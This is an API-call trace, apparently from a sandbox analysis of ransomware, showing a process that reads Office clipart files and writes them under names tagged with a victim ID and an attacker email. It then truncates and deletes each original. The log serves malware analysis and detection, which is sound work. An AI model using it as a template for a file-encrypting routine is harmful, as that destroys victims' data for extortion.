	[0073.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.219] lstrlenW (lpString=".ppt") returned 4
	[0073.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0073.219] lstrlenW (lpString=".zip") returned 4
	[0073.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.219] lstrlenW (lpString=".rar") returned 4
	[0073.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.219] lstrlenW (lpString=".bz2") returned 4
	[0073.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.219] lstrlenW (lpString=".7z") returned 3
	[0073.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0073.219] lstrlenW (lpString=".dbf") returned 4
	[0073.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0073.219] lstrlenW (lpString=".1cd") returned 4
	[0073.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0073.220] lstrlenW (lpString=".jpg") returned 4
	[0073.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.220] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0073.220] lstrlenW (lpString="BD10890_.GIF") returned 12
	[0073.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.642] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=13515) returned 1
	[0073.642] CloseHandle (hObject=0x338) returned 1
	[0073.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220
	[0073.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.642] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.642] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0073.643] GetLastError () returned 0x0
	[0073.643] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x34cb, lpOverlapped=0x0) returned 1
	[0073.645] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x34d0, lpOverlapped=0x0) returned 1
	[0073.646] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.646] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.647] SetEndOfFile (hFile=0x358) returned 1
	[0073.647] CloseHandle (hObject=0x358) returned 1
	[0073.648] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.648] SetEndOfFile (hFile=0x338) returned 1
	[0073.649] CloseHandle (hObject=0x338) returned 1
	[0073.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1
	[0073.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0073.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0073.650] lstrlenW (lpString=".doc") returned 4
	[0073.650] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0073.650] lstrlenW (lpString=".docx") returned 5
	[0073.650] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0073.650] lstrlenW (lpString=".pdf") returned 4
	[0073.650] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0073.650] lstrlenW (lpString=".xls") returned 4
	[0073.650] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0073.650] lstrlenW (lpString=".xlsx") returned 5
	[0073.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0073.650] lstrlenW (lpString=".ppt") returned 4
	[0073.650] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0073.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0073.650] lstrlenW (lpString=".zip") returned 4
	[0073.650] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0073.650] lstrlenW (lpString=".rar") returned 4
	[0073.650] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0073.650] lstrlenW (lpString=".bz2") returned 4
	[0073.650] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0073.650] lstrlenW (lpString=".7z") returned 3
	[0073.650] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0073.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0073.650] lstrlenW (lpString=".dbf") returned 4
	[0073.650] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0073.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0073.651] lstrlenW (lpString=".1cd") returned 4
	[0073.651] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0073.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0073.651] lstrlenW (lpString=".jpg") returned 4
	[0073.651] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0073.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0073.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0073.651] lstrlenW (lpString=".doc") returned 4
	[0073.651] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0073.651] lstrlenW (lpString=".docx") returned 5
	[0073.651] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0073.651] lstrlenW (lpString=".pdf") returned 4
	[0073.651] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0073.651] lstrlenW (lpString=".xls") returned 4
	[0073.651] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0073.651] lstrlenW (lpString=".xlsx") returned 5
	[0073.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0073.651] lstrlenW (lpString=".ppt") returned 4
	[0073.652] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0073.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0073.652] lstrlenW (lpString=".zip") returned 4
	[0073.652] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0073.652] lstrlenW (lpString=".rar") returned 4
	[0073.652] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0073.652] lstrlenW (lpString=".bz2") returned 4
	[0073.652] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0073.652] lstrlenW (lpString=".7z") returned 3
	[0073.652] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0073.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0073.652] lstrlenW (lpString=".dbf") returned 4
	[0073.652] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0073.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0073.652] lstrlenW (lpString=".1cd") returned 4
	[0073.652] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0073.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0073.652] lstrlenW (lpString=".jpg") returned 4
	[0073.652] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0073.652] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0073.652] lstrlenW (lpString="BD19563_.GIF") returned 12
	[0073.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.653] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=20454) returned 1
	[0073.653] CloseHandle (hObject=0x338) returned 1
	[0073.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220
	[0073.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.653] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.653] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0073.654] GetLastError () returned 0x0
	[0073.654] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x4fe6, lpOverlapped=0x0) returned 1
	[0073.656] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x4ff0, lpOverlapped=0x0) returned 1
	[0073.657] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.657] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.657] SetEndOfFile (hFile=0x358) returned 1
	[0073.657] CloseHandle (hObject=0x358) returned 1
	[0073.659] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.659] SetEndOfFile (hFile=0x338) returned 1
	[0073.660] CloseHandle (hObject=0x338) returned 1
	[0073.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1
	[0073.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0073.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0073.661] lstrlenW (lpString=".doc") returned 4
	[0073.661] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0073.661] lstrlenW (lpString=".docx") returned 5
	[0073.661] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0073.661] lstrlenW (lpString=".pdf") returned 4
	[0073.661] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0073.661] lstrlenW (lpString=".xls") returned 4
	[0073.661] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0073.661] lstrlenW (lpString=".xlsx") returned 5
	[0073.661] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0073.661] lstrlenW (lpString=".ppt") returned 4
	[0073.661] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0073.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0073.661] lstrlenW (lpString=".zip") returned 4
	[0073.661] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0073.661] lstrlenW (lpString=".rar") returned 4
	[0073.661] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0073.661] lstrlenW (lpString=".bz2") returned 4
	[0073.661] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0073.662] lstrlenW (lpString=".7z") returned 3
	[0073.662] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0073.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0073.662] lstrlenW (lpString=".dbf") returned 4
	[0073.662] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0073.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0073.662] lstrlenW (lpString=".1cd") returned 4
	[0073.662] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0073.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0073.662] lstrlenW (lpString=".jpg") returned 4
	[0073.662] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0073.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0073.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0073.662] lstrlenW (lpString=".doc") returned 4
	[0073.662] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0073.662] lstrlenW (lpString=".docx") returned 5
	[0073.662] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0073.662] lstrlenW (lpString=".pdf") returned 4
	[0073.662] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0073.662] lstrlenW (lpString=".xls") returned 4
	[0073.662] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0073.662] lstrlenW (lpString=".xlsx") returned 5
	[0073.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0073.662] lstrlenW (lpString=".ppt") returned 4
	[0073.662] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0073.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0073.662] lstrlenW (lpString=".zip") returned 4
	[0073.662] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0073.662] lstrlenW (lpString=".rar") returned 4
	[0073.663] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0073.663] lstrlenW (lpString=".bz2") returned 4
	[0073.663] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0073.663] lstrlenW (lpString=".7z") returned 3
	[0073.663] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0073.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0073.663] lstrlenW (lpString=".dbf") returned 4
	[0073.663] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0073.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0073.663] lstrlenW (lpString=".1cd") returned 4
	[0073.663] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0073.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0073.663] lstrlenW (lpString=".jpg") returned 4
	[0073.663] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0073.663] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0073.663] lstrlenW (lpString="BD19582_.GIF") returned 12
	[0073.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.664] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=15733) returned 1
	[0073.664] CloseHandle (hObject=0x338) returned 1
	[0073.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220
	[0073.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.666] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.666] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0073.667] GetLastError () returned 0x0
	[0073.667] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x3d75, lpOverlapped=0x0) returned 1
	[0073.669] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x3d80, lpOverlapped=0x0) returned 1
	[0073.670] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.670] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.670] SetEndOfFile (hFile=0x358) returned 1
	[0073.670] CloseHandle (hObject=0x358) returned 1
	[0073.672] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.672] SetEndOfFile (hFile=0x338) returned 1
	[0073.673] CloseHandle (hObject=0x338) returned 1
	[0073.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1
	[0073.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0073.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0073.673] lstrlenW (lpString=".doc") returned 4
	[0073.673] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0073.673] lstrlenW (lpString=".docx") returned 5
	[0073.673] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0073.673] lstrlenW (lpString=".pdf") returned 4
	[0073.673] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0073.673] lstrlenW (lpString=".xls") returned 4
	[0073.674] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0073.674] lstrlenW (lpString=".xlsx") returned 5
	[0073.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0073.674] lstrlenW (lpString=".ppt") returned 4
	[0073.674] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0073.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0073.674] lstrlenW (lpString=".zip") returned 4
	[0073.674] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0073.674] lstrlenW (lpString=".rar") returned 4
	[0073.674] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0073.674] lstrlenW (lpString=".bz2") returned 4
	[0073.674] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0073.674] lstrlenW (lpString=".7z") returned 3
	[0073.674] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0073.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0073.674] lstrlenW (lpString=".dbf") returned 4
	[0073.674] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0073.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0073.674] lstrlenW (lpString=".1cd") returned 4
	[0073.674] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0073.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0073.674] lstrlenW (lpString=".jpg") returned 4
	[0073.674] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0073.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0073.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68
	[0073.674] lstrlenW (lpString=".doc") returned 4
	[0073.674] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0073.675] lstrlenW (lpString=".docx") returned 5
	[0073.675] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0073.675] lstrlenW (lpString=".pdf") returned 4
	[0073.675] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0073.675] lstrlenW (lpString=".xls") returned 4
	[0073.675] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0073.675] lstrlenW (lpString=".xlsx") returned 5
	[0073.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0073.675] lstrlenW (lpString=".ppt") returned 4
	[0073.675] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
